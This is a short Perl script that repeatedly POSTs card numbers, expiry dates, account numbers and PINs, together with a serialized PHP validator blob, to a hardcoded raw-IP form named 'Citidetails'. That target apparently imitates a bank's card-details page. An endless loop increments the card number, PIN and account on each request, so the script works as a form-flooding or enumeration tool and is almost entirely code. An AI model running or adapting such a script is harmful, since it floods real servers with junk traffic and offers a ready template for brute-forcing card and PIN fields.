#!/usr/pkg/bin/perl

use POSIX;
use HTML::TokeParser;
use LWP::UserAgent;
use HTTP::Request::Common qw(POST GET);


$|++;
sub postdoc {
    my $docurl = shift;
    
    my $req = POST  $docurl, [ CardNumber => $card,
                               ExpMonth   => $em,
                               ExpYear    => $ey,
                               account    => $acct,
                               PIN        => $pin,
                               Submit     => "Submit",
                               VDaemonValidators => $other ];
 
    $req->header(Accept => $acpthdr);

    # Pass request to the user agent and get a response back
    my $res = $ua->request($req);

    # Check the outcome of the response
    if ($res->is_success) {
#        print "Got document for $docurl\n";
        print ".";
        return \$res->content();
    } else {
        print "x\n";
        return ''
    }
    undef $req;
    undef $res;
}

$ua = LWP::UserAgent->new( keep-alive => 1, timeout => 10);
$ua->agent("DocGrab 0.1");

$fucker="http://219.148.127.67/scripts/process.php";
$card = '62188577792383';
$em = '5'; $ey = '2005';
$acct = 71500001;
$pin = 0000;

$other="VDaemonValidators=O%3A13%3A%22cvdvalruntime%22%3A5%3A%7Bs%3A5%3A%22sPage%22%3Bs%3A18%3A%22%2Fscripts%2Findex.php%22%3Bs%3A5%3A%22sArgs%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22sAnchor%22%3Bs%3A0%3A%22%22%3Bs%3A5%3A%22sForm%22%3Bs%3A11%3A%22Citidetails%22%3Bs%3A6%3A%22aNodes%22%3Ba%3A5%3A%7Bi%3A0%3BO%3A7%3A%22xmlnode%22%3A3%3A%7Bs%3A5%3A%22sName%22%3Bs%3A11%3A%22vlvalidator%22%3Bs%3A6%3A%22aAttrs%22%3Ba%3A4%3A%7Bs%3A4%3A%22name%22%3Bs%3A13%3A%22CardNumberReq%22%3Bs%3A4%3A%22type%22%3Bs%3A8%3A%22required%22%3Bs%3A7%3A%22control%22%3Bs%3A10%3A%22CardNumber%22%3Bs%3A6%3A%22errmsg%22%3Bs%3A16%3A%22Card+%23+required.%22%3B%7Ds%3A9%3A%22aSubNodes%22%3Ba%3A0%3A%7B%7D%7Di%3A1%3BO%3A7%3A%22xmlnode%22%3A3%3A%7Bs%3A5%3A%22sName%22%3Bs%3A11%3A%22vlvalidator%22%3Bs%3A6%3A%22aAttrs%22%3Ba%3A5%3A%7Bs%3A4%3A%22name%22%3Bs%3A15%3A%22CardNumberCheck%22%3Bs%3A4%3A%22type%22%3Bs%3A6%3A%22custom%22%3Bs%3A7%3A%22control%22%3Bs%3A10%3A%22CardNumber%22%3Bs%3A6%3A%22errmsg%22%3Bs%3A15%3A%22Invalid+card+%23.%22%3Bs%3A8%3A%22function%22%3Bs%3A5%3A%22CCVal%22%3B%7Ds%3A9%3A%22aSubNodes%22%3Ba%3A0%3A%7B%7D%7Di%3A2%3BO%3A7%3A%22xmlnode%22%3A3%3A%7Bs%3A5%3A%22sName%22%3Bs%3A11%3A%22vlvalidator%22%3Bs%3A6%3A%22aAttrs%22%3Ba%3A5%3A%7Bs%3A4%3A%22name%22%3Bs%3A18%3A%22CardNumberNumCheck%22%3Bs%3A4%3A%22type%22%3Bs%3A9%3A%22checktype%22%3Bs%3A7%3A%22control%22%3Bs%3A10%3A%22CardNumber%22%3Bs%3A6%3A%22errmsg%22%3Bs%3A15%3A%22Invalid+card+%23.%22%3Bs%3A9%3A%22validtype%22%3Bs%3A7%3A%22integer%22%3B%7Ds%3A9%3A%22aSubNodes%22%3Ba%3A0%3A%7B%7D%7Di%3A3%3BO%3A7%3A%22xmlnode%22%3A3%3A%7Bs%3A5%3A%22sName%22%3Bs%3A11%3A%22vlvalidator%22%3Bs%3A6%3A%22aAttrs%22%3Ba%3A4%3A%7Bs%3A4%3A%22name%22%3Bs%3A6%3A%22PINReq%22%3Bs%3A4%3A%22type%22%3Bs%3A8%3A%22required%22%3Bs%3A7%3A%22control%22%3Bs%3A3%3A%22PIN%22%3Bs%3A6%3A%22errmsg%22%3Bs%3A13%3A%22PIN+required.%22%3B%7Ds%3A9%3A%22aSubNodes%22%3Ba%3A0%3A%7B%7D%7Di%3A4%3BO%3A7%3A%22xmlnode%22%3A3%3A%7Bs%3A5%3A%22sName%22%3Bs%3A11%3A%22vlvalidator%22%3Bs%3A6%3A%22aAttrs%22%3Ba%3A5%3A%7Bs%3A4%3A%22name%22%3Bs%3A9%3A%22PINRegExp%22%3Bs%3A4%3A%22type%22%3Bs%3A6%3A%22regexp%22%3Bs%3A7%3A%22control%22%3Bs%3A3%3A%22PIN%22%3Bs%3A6%3A%22errmsg%22%3Bs%3A12%3A%22Invalid+PIN.%22%3Bs%3A6%3A%22regexp%22%3Bs%3A9%3A%22%2F%5E%5Cd%7B4%7D%24%2F%22%3B%7Ds%3A9%3A%22aSubNodes%22%3Ba%3A0%3A%7B%7D%7D%7D%7D";

while (1) {
    $card +=8 ; $pin++ ; $acct++;
    postdoc($fucker);
}
